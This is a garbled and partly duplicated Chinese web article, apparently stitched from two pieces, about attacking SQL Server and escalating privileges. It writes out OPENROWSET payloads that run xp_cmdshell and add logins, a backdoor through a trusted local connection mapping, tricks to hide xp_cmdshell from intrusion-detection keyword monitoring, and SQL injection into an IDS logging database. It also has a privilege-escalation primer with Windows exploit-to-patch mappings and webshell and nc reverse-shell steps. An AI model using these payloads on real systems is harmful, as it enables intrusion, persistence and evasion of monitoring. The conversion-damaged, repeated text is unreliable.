骨干提示:下边作者要谈到一些Sqlserver新的Bug,尽管自身经过长日子的卖力

1.关于openrowset和opendatasource
大概这么些才具早有人曾经会了,就是利用openrowset发送本地命令。经常大家的用法是之类:
select*fromopenrowset(‘sqloledb’,’myserver’;’sa’;”,’select*fromtable’卡塔尔(قطر‎可以预知openrowset只是作为三个飞跃的远程数据库访问,它必需跟在select后边,也等于说必要回到三个recordset。
那么大家能否利用它调用xp_cmdshell呢?答案是一定的!
select*fromopenrowset(‘sqloledb’,’server’;’sa’;”,’setfmtonlyoffexecmaster.dbo.xp_cmdshell”dirc:\”’卡塔尔(قطر‎必需抬高setfmtonlyoff用来蒙蔽私下认可的只回去列新闻的设置,这样xp_cmdshell重临的output集结就能付出给前方的select展现,要是运用默许设置,会重返空集结引致select出错,命令也就不恐怕执行了。
那么一旦大家要调用sp_addlogin呢,他不会像xp_cmdshell重回任何聚众的,大家就不可能再依靠fmtonly设置了,能够如下操作
select*fromopenrowset(‘sqloledb’,’server’;’sa’;”,’select”OK!”execmaster.dbo.sp_addloginHectic’卡塔尔(قطر‎那样,命令起码会回去select’OK!’的汇聚,你的机械商会显示OK!,同偶然间对方的数据库内也会增加三个Hectic的账号,也便是说,大家选取select’OK!’的回到集结欺诈了地面的select央求,是命令能够健康实践,通理sp_addsrvrolemember和opendatasource也足以如此操作!至于这么些格局真的的用场,我们慢慢想吧:P
2.关于msdasql五次号召的难点不驾驭我们有未有试过用msdasql连接远程数据库,当然那一个api必需是sqlserver的总指挥才方可调用,那么如下
select*fromopenrowset(‘msdasql’,’driver={sqlserver};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn’,’select*fromtable1select*fromtable2’State of Qatar当table1和table2的字段数目差异等时,你会意识对方的sqlserver崩溃了,连本地连接都会退步,而系统财富占用一切符合规律,用pskill杀死sqlserver进度后,假如不重启机器,sqlserver要么无法平常运行,要么时常现身违法操作,笔者也只是刚刚找到这么些bug的,具体原因小编还不曾摸清,何况很诡异的是这几个境况只现出在msdasql上,sqloledb就一贯不这些主题材料,看来难点不是在于央浼集合数目和再次回到集合数目不相配上,应该还是msdasql本人的难点,具体原因,大家齐声稳步琢磨吗:P
3.骇人听闻的后门
以往在英特网见到有一些人说在sqlserver上留后门能够经过增加triger,jobs或改写sp_addlogin和sp_addsrvrolemember做到,那几个方法自然可行,不过非常轻巧会被开掘。不知情大家有未有想过sqloledb的当地连接映射。呵呵,比如您在对方的sqlserver上用sqlserver的助理馆员账号试行如下的通令
select*fromopenrowset(‘sqloledb’,’trusted_connection=yes;datasource=Hectic’,’setfmtonlyoffexecmaster..xp_cmdshell”dirc:\”’State of Qatar那样在对方的sqlserver上创立了二个名称为Hectic的本地连接映射,只要sqlserver不重启,那个映射会平昔留存下来,起码笔者现在还不精晓什么察觉别人停放的连续几天映射,好了,以上的授命运营过后,你会意识就算是sqlserver未有别的权力的guest顾客,运维以上这条命令也相近能透过!况兼权限是localsystem!呵呵!这一个格局能够用来在以被入侵过获得管理员权限的sqlserver上留下三个后门了。以上的格局在sqlserver二〇〇三sqlserver2002SP1上经过!
其它还可能有二个猜疑,不清楚我们有未有在意过windows暗许附带的七个dsn,三个是localserver叁个是msqi,那五个在创立的时候是本地管理员账号连接sqlserver的,如若对方的sqlserver是经过自定义的poweruser运行,那么sa的权力就和poweruser相近,很难有所大作为,但是大家因而如下的通令
select*fromopenrowset(‘msdasql’,’dsn=locaserver;trusted_connection=yes’,’setfmtonlyoffexecmaster..xp_cmdshell”dirc:\”’卡塔尔国应该能够行使localserver的指挥者账号连接本地sqlserver然后再以这一个账号的权限奉行本地命令了,那是后作者想应该能突破sa那八个poweruser权限了。以后的主题材料是sqloledb不可能调用dsn连接,而msdasql非管理员不让调用,所以作者今日正值搜索guest调用msdasql的办法,
假设有人知晓那一个bug如何突破,或有新的主张,大家得以同步商讨一下,这几个发放假诺能打响被guest利用,将会是二个很要紧的安全漏洞。因为我们前边提到的其余sql语句都能够交到给对方的asp去帮大家试行:
4.运用t-sql骗过ids或攻击ids
今后的ids已经变得更其聪明了。有的ids出席了xp_cmdshellsp_addlogin的监视,不过究竟人工智能未有现身的今日,这种监视总是有种骗人的认为。
先说说期骗ids: ids既然监视xp_cmdshell关键字,那么大家能够这么做
declare@asysnameset@a=”xp_””cmdshell”exec@a’dirc:\’
这一个代码相信大家都能看精通,还恐怕有xp_cmdshell作为一个storeprocedure在master库内有二个id号,固定的,我们也能够这样做
倘若这一个id=988456
declare@asysnameselect@a=namefromsysobjectswhereid=988456exec@a’dirc:\’
当然也得以
declare@asysnameselect@a=namefromsysobjectswhereid=9884551exec@a’dirc:\’
这种做法排列组合,ids根本不大概做的到完全监视。
同理,sp_addlogin也得以这么做。 再说说攻击ids:
因为ids数据量极大,日至经常备份到不荒谬数据库,比方sqlserver。
若是用古老的recordset.addnew做法,会严重影响ids的质量,因为经过ado做t-sql伏乞,不但功能高,何况有部分职业能够提交sqlserver去做
平时程序会这么写inserttablevalues
那么大家用脑筋想看,若是用temp’卡塔尔execxp_cmdshell’dirc:\’–提交后会产生inserttablevaluesexecxp_cmdshell’dirc:\’–‘)
这样,xp_cmdshell就能够在ids的数据库运维了:)
当然ids是七个嗅叹器,他会抓全部的报,而浏览器提交的时候会把空格形成。因而,会被交付到sqlserver,那样您的通令就不能实施了。独一的措施就是insert/**/table/**/values/**/exec/**/xp_cmdshell/**/’dirc:\’/**/–‘)
用/**/替代空格做间距符,那样你的t-sql技术在ids的数据库内实施。当然也能够用此外语句,能够破坏,备份ids的数据库到您的共享目录,呵呵。
其实这种情势的规律和攻击asp是雷同的,只是把空格变成了/**/。本来asp是select语句,那么用’就能够遮挡。今后ids用insert语句,那么用’State of Qatar屏蔽。
好了,别的超级多新的侵袭语句大家能够和谐慢慢想,最佳的测验工具正是queryanalyzer了。

原文:【肠痈撰写】渗透测量试验技术根基——提权才具底蕴大全

上边笔者要聊起有的Sqlserver新的Bug,固然本身经过长日子的拼命,当然也微微幸运的成份在内,技艺够窥见,不敢一位独享,拿出去请我们辨认。

**关于提权我们要想开那八个难点:
**1 什么是提权?
2 怎么样提权?
3 提权后的事…
提 权:通过各类措施和尾巴,提升协调在服务器中的权限,以便调整全局。
Windows:
User >> System
Linux:
User >> Root
大家得以经过:
系统漏洞提权(Linux、Win)
数据库提权
系统布署错误提权
权力世襲类提权
其三方软件/服务提权
得到高权力账号提权
WebSevrver漏洞提权
**0x01 系统漏洞提权
**系统漏洞提权通常正是采用体系本人劣势,使用shellcode来进步权限。为了使用方便,windows和linux系统均有提权用的可实施文件。
Windows的提权exp平日格式为MS08067.exe;
Linux的提权exp通常格式为2.6.18-194或2.6.18.c

1.关于Openrowset和Opendatasource

图片 1

唯恐这几个技术早有人已经会了,正是使用openrowset发送当地命令。平时我们的用法是之类:

图片 2

select * from openrowset(sqloledb,myserver;sa;,select * from table)

Windows提权
Windows系统漏洞微软的尾巴编号命名格式为:MS08067
MS Micosoft的缩写,固定格式;
08 表示年份,即二零零六年表露的狐狸尾巴;
067 表示顺序,即当年度公布的第七20个漏洞。

可以见到呵呵!这几个办法可以用来在以被凌犯过获得管理员权限的sqlserver上留下三个后门了。以上的办法在
sqlserver二〇〇〇 sqlserver二〇〇〇SP1上经过!

提权exp使用办法:
使exp试行即可,平日景况下是应用cmd.exe来试行。在平常渗透测量试验进程中,我们常常会率先获得webshell再开展提权。所以提权脚本也时时会被在webshell中运作使用。

其余还会有二个估量,不清楚我们有未有在意过windows暗中认可附带的五个dsn,二个是localserver三个是msqi,这三个在创造的时候是本地管理员账号连接sqlserver的,假诺对方的
sqlserver是经过自定义的power user运维,那么sa的权位就和power
user相通,很难有所大作为,不过大家因此如下的指令:

那就是说我们什么驾驭使用哪个exp来提权呢?
采取systeminfo命令或许查看补丁目录,查看补丁记录,来判别有哪个补丁没打,然后使用绝对应的exp举办提权。
KB2645640 MS12-009
KB2641653 MS12-018
KB952004 MS09-012 Pr.exe
KB956572 MS09-012 巴西烤肉
KB971657 MS09-041
KB2620712 MS11-097
KB2393802 MS11-011 ms11011.exe
KB942831 MS08-005
KB2503665 MS11-046 ms11046.exe
KB2592799 MS11-080 ms11080.exe

select * from openrowset

实例证实:
1.地点提权使用cmd实施
2.使用webshell来执行。

(msdasql,dsn=locaserver;trusted_connection=yes,set fmtonly off exec
master..xp_cmdshell dir c:/)

日常的进度是:
1.先找可写目录。
2.上传cmd.exe、提权exp等工具。
3.使用exp进行提权,加账号等操作。

相应能够接纳localserver的指挥者账号连接本地sqlserver然后再以这些账号的权限试行本地命令了,那是后小编想应该能突破sa
那多少个power
user权限了。以往的题材是sqloledb不可能调用dsn连接,而msdasql非管理员不让调用,所以笔者几如今正值寻找guest调用msdasql
的点子。

TIPs:
1.渗透进程中一时会超越管理员禁绝了cmd.exe的利用,大家该如何做?进止了exe文件的上传怎么办?
2.社团者禁止了一些脚本函数的运作,看不到回显如何是好?
3.在应用webshell提权的时候要非常注意:
asp的webshell要支持:
wscript(wscript.shell/shell.application)
aspx能调用.net组件来进行cmd的指令
/c whoami

假定有人知晓这几个bug怎样突破,或有新的主张,我们能够协作探讨一下,这么些发放假如能不负职责被guest利用,将会是二个很要紧的安全漏洞。因为大家眼下提到的别样sql语句都能够交到给对方的asp去帮大家执行。
上面小编要聊到某些Sqlserver新的Bug,纵然小编经过长日子的奋力,当然也稍稍幸运的成份在内,才方可窥见,不敢一个人独享,拿出来请我们识别。
1.有关Openrowset和Opendatasource
可能这几个技术早有人已经会了,就是选用openrowset发送本地命令。平日我们的用法是如下…
下边笔者要聊起部分Sqlserver新的Bug,尽管自个儿经过长日子的极力,当然也轻微幸运的成份在内,才足以窥见,不敢一人独享,拿出去请我们辨认。

**Linux系统提权
**Linux系统漏洞的exp平常服从内核版本来命名:2.6.18-194或2.6.18.c
形如2.6.18-194,能够直接实施;
形如2.6.18.c,必要编写翻译后运营,提权。
金科玉律也可以有少部分exp是比照发行版版本命名。

1.关于Openrowset和Opendatasource

**提权exp使用办法:
**
使exp实施就可以,日常景观下linux之处提权要用nc反弹出来,因为Linux下提高权限后收获的是人机联作式shell,需反弹才具开展下一步命令的施行。

或是那一个技艺早有人已经会了,便是运用openrowset发送本地命令。日常大家的用法是之类:

**那正是说大家怎样知道使用哪个exp来提权呢?
** 使用uname -a命令可能cat
/proc/version,来剖断系统的水源景况等等,然后利用绝对应的exp实行提权。

Author

发表评论

电子邮件地址不会被公开。 必填项已用*标注